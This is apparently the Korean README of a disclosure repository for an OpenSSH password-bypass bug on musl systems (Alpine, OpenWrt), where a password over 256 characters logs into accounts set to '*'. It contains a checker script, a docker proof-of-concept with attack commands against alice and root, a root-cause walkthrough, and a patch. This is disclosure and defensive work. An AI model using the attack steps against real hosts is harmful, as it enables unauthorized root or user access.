
musl 기반 openssh에서 비밀번호가 없는 계정에 대해 257자 이상의 비밀번호를 모두 허용했습니다. 2016년부터. check.sh, poc, patch.
musl linux(alpine, openwrt, buildroot, yocto)의 openssh에서는 비밀번호가 *로 설정된 모든 계정에 256자보다 긴 아무 비밀번호로나 로그인할 수 있습니다. 즉 root, 키 전용 사용자, ldap 사용자, alpine 클라우드 이미지의 alpine 사용자가 해당됩니다. 2016년부터 그랬습니다.
전체 이야기는 sshhole.com에 있습니다. 이 저장소에는 자신의 머신을 점검하는 스크립트, 직접 시험해 볼 수 있는 docker 설정, 그리고 패치가 포함되어 있습니다.
2026-11-05에 openssh 10.6p2에서 수정되었습니다. alpine 패키지도 배포되었습니다.
curl -sO https://raw.githubusercontent.com/oz9un/sshole/main/check.sh
sudo sh check.sh
libc musl
sshd OpenSSH_10.3p1, OpenSSL 3.5.9 29 Sep 2026
pam off (not built in)
PasswordAuthentication yes
accounts with '*' root alice deploy
sha-crypt hash present yes (bob)
EXPOSED. anyone can log in as: root alice deploy
fix: apk upgrade openssh (10.6p2), or set PasswordAuthentication no until you can.
다음 조건이 모두 참일 때만 노출됩니다. 노출되지 않는다면 스크립트가 어떤 조건이 빠졌는지 알려줍니다:
openssh-server 패키지가 이에 해당함. UsePAM yes와 함께 쓰는 openssh-server-pam은 안전함PasswordAuthentication yes 설정됨 (기본값임)*임$5$ 또는 $6$ 비밀번호 해시를 가짐 (누군가, 아무나 passwd를 실행함)glibc, pam, PasswordAuthentication no, openbsd, freebsd, macos: 영향받지 않음. 여기서 읽기를 멈춰도 됩니다.
docker가 필요합니다. 이것은 openssh-server와 기본 설정으로 일반 alpine 3.24를 빌드합니다. alice는 *를 가지고, bob은 실제 비밀번호를 가집니다.
cd poc
docker build -t sshhole .
docker run -d --rm --name sshhole -p 127.0.0.1:2222:22 sshhole
./attack.sh 127.0.0.1 2222 alice
Permission denied, please try again.
uid=1000(alice) gid=1000(alice) groups=1000(alice)
RESULT: logged in as alice
두 개의 프롬프트. 첫 번째는 아무거나, 두 번째는 300개의 A. 그것이 익스플로잇이다.
PermitRootLogin yes가 설정되어 있으면 root도 작동한다:
docker rm -f sshhole
docker run -d --rm --name sshhole -p 127.0.0.1:2222:22 sshhole /usr/sbin/sshd -D -e -o PermitRootLogin=yes
./attack.sh 127.0.0.1 2222 root
attack.py는 paramiko로 동일한 작업을 수행하며 비밀번호 길이를 선택할 수 있으므로 256은 실패하고 257은 성공하는 것을 확인할 수 있습니다:
pip install paramiko
python3 attack.py 127.0.0.1 2222 alice 256 # rejected
python3 attack.py 127.0.0.1 2222 alice 257 # logged in
이전 알파인 버전의 경우: docker build --build-arg BASE=alpine:3.21 -t sshhole . 적어도 3.18까지는 작동합니다. 우리가 시도한 가장 오래된 버전은 2017년의 musl 1.1.16 기반 openssh 7.5p1이었고, 거기서도 작동했습니다.
patch/4353fdc43-avoid-password-authn-bypass.patch는 업스트림 수정 사항을 변경 없이 그대로 담은 것으로, 이전 버전에 적용해야 할 경우를 위한 것입니다. 7.3p1 이상이면 무엇이든 작동합니다. 이 패치는 저장된 필드가 실제 해시로 보기에는 너무 짧을 때 sshd가 비교를 건너뛰도록 하며, libc의 정적 버퍼를 가리키는 포인터 사용도 중단합니다.
지금 당장 업데이트할 수 없다면 sshd_config에서 PasswordAuthentication no로 설정하십시오. 그러면 완전히 차단됩니다.
pw_password = "*" # alice has no password
salt = NULL # "*" is too short to be a salt
salt = pick_salt() # so sshd takes bob's: "$6$abc$"
hash = crypt("AAAA…x300", "$6$abc$") # musl: key is over 256 bytes -> returns "*"
strcmp(hash, pw_password) == 0 # "*" == "*"
return 1 # welcome, alice
sshd는 90년대부터 *와 이렇게 비교해 왔습니다. musl은 2012년에 실패 시 *를 반환하기 시작했습니다. sshd는 2016년에 다른 계정의 salt를 사용하기 시작했습니다. 타임라인을 참고하세요.
전체 테스트 설정(qemu의 클라우드 이미지, openwrt, buildroot, ldap 및 ad 사용자 등 17개 환경), 발생률 수치, 배포판별 표는 write-up에 있습니다. 나중에 공개될 수 있습니다. 이 저장소는 의도적으로 작게 유지되었습니다.
mit 라이선스.